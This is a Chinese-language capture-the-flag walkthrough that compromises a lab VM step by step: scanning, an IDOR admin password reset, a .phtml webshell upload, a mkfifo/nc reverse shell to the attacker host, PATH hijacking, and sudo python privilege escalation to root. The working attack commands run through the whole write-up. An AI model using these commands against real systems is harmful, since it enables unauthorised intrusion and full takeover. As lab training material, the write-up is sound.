信息收集
主机发现
攻击机ip | 靶机ip |
---|---|
192.168.66.128 | 192.168.66.129 |
靶机综合扫描
nmap 192.168.66.129 -A -T4
开放端口有22、80
目录扫描
80端口开放,先访问看一下有没有可用信息。访问192.168.66.129页面如下:
到处看看,该网站只有登录,注册两个功能点。
# 目录扫描
dirsearch -u 192.168.66.129
挨着看有什么信息。
/config目录下有database.php文件,但是打开为空白(应该是没有权限)。
/dashboard.php显示不允许访问。这个页面应该是需要账户登录后才能访问。
/upload目录下只有一张照片。其余路径都是网站相关登录登出注册页面。
Web渗透
越权
根据信息收集的结果,从web页面入手,注册一个账号。注册admin账号提示用户已存在,admin应该是管理员用户。
账号 | 密码 | 邮箱 |
---|---|---|
guest | 123456 | 123456@qq.com |
注册后登录,进入如下界面。
是一个修改用户信息和密码修改的界面。此时guest用户登录,url中表明该用户id=2。那么合理猜测id=1是管理员账户。
敏感信息修改的页面都出来了,直接尝试越权操作。修改id值为1,结果是不被允许访问。
继续尝试越权,抓包找下思路。
直接修改id的值行不通,这里有个Priority: u=1很可疑。
修改数据包为:
Priority: u=0
password=123456&id=1
账户admin,密码:123456成功登录管理员账户。
getshell
可以看到成功登录admin账户。出现一个新的功能点——文件上传。上传各种后缀名文件找白名单。直接提示了白名单,只允许上传jpg,png,gif图片。
特殊后缀.phtml。内容依旧是一句话木马,后缀改为.phtml。
/upload目录下显示shell.phtml,说明成功上传。
蚁剑连接一句话木马。进一步收集信息。database.php中提示存在john这个用户。
反弹shell
# 蚁剑虚拟终端
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.66.128 9999 >/tmp/f
# 攻击机
nc -lvnp 9999
成功,但是当前返回的shell没有显示所在的目录和用户。需要python返回一个shell(大部分Linux都安装了Python3),所以直接执行以下命令即可。
python3 -c 'import pty as pt;pt.spawn("/bin/bash")'
获取john用户权限
cat /etc/passwd
# 找有/bin/bash权限的用户
cat /etc/passwd | grep /bin/bash
发现除root外还有两个用户。切换到john目录看看。
cd /home/john
ls -l
有两个敏感文件password和user.txt,另外一个toto可执行文件和file.py文件。flag可能在两个敏感文件中,因此需要拿到john的shell。
执行toto后发现返回结果和id命令一致。
既然与命令id功能相同,那么id=toto。利用这点,编辑新的id文件,写入/bin/bash,将新建的id文件路径写入原有环境变量前(从前往后匹配),运行toto就会使用john身份调用新建的id命令拿到shell。
echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH
找到flag1和john用户密码。
提权
进一步提权,sudo提权。
sudo -l
# 需要密码,密码就是password敏感文件内容
root123
可知,john可以以root的身份执行file.py。在file.py中写入获取shell的命令。
echo 'import os;os.system("/bin/bash")' > file.py
执行file.py文件。
sudo python3 /home/john/file.py
提权成功。
拿下flag2。🎆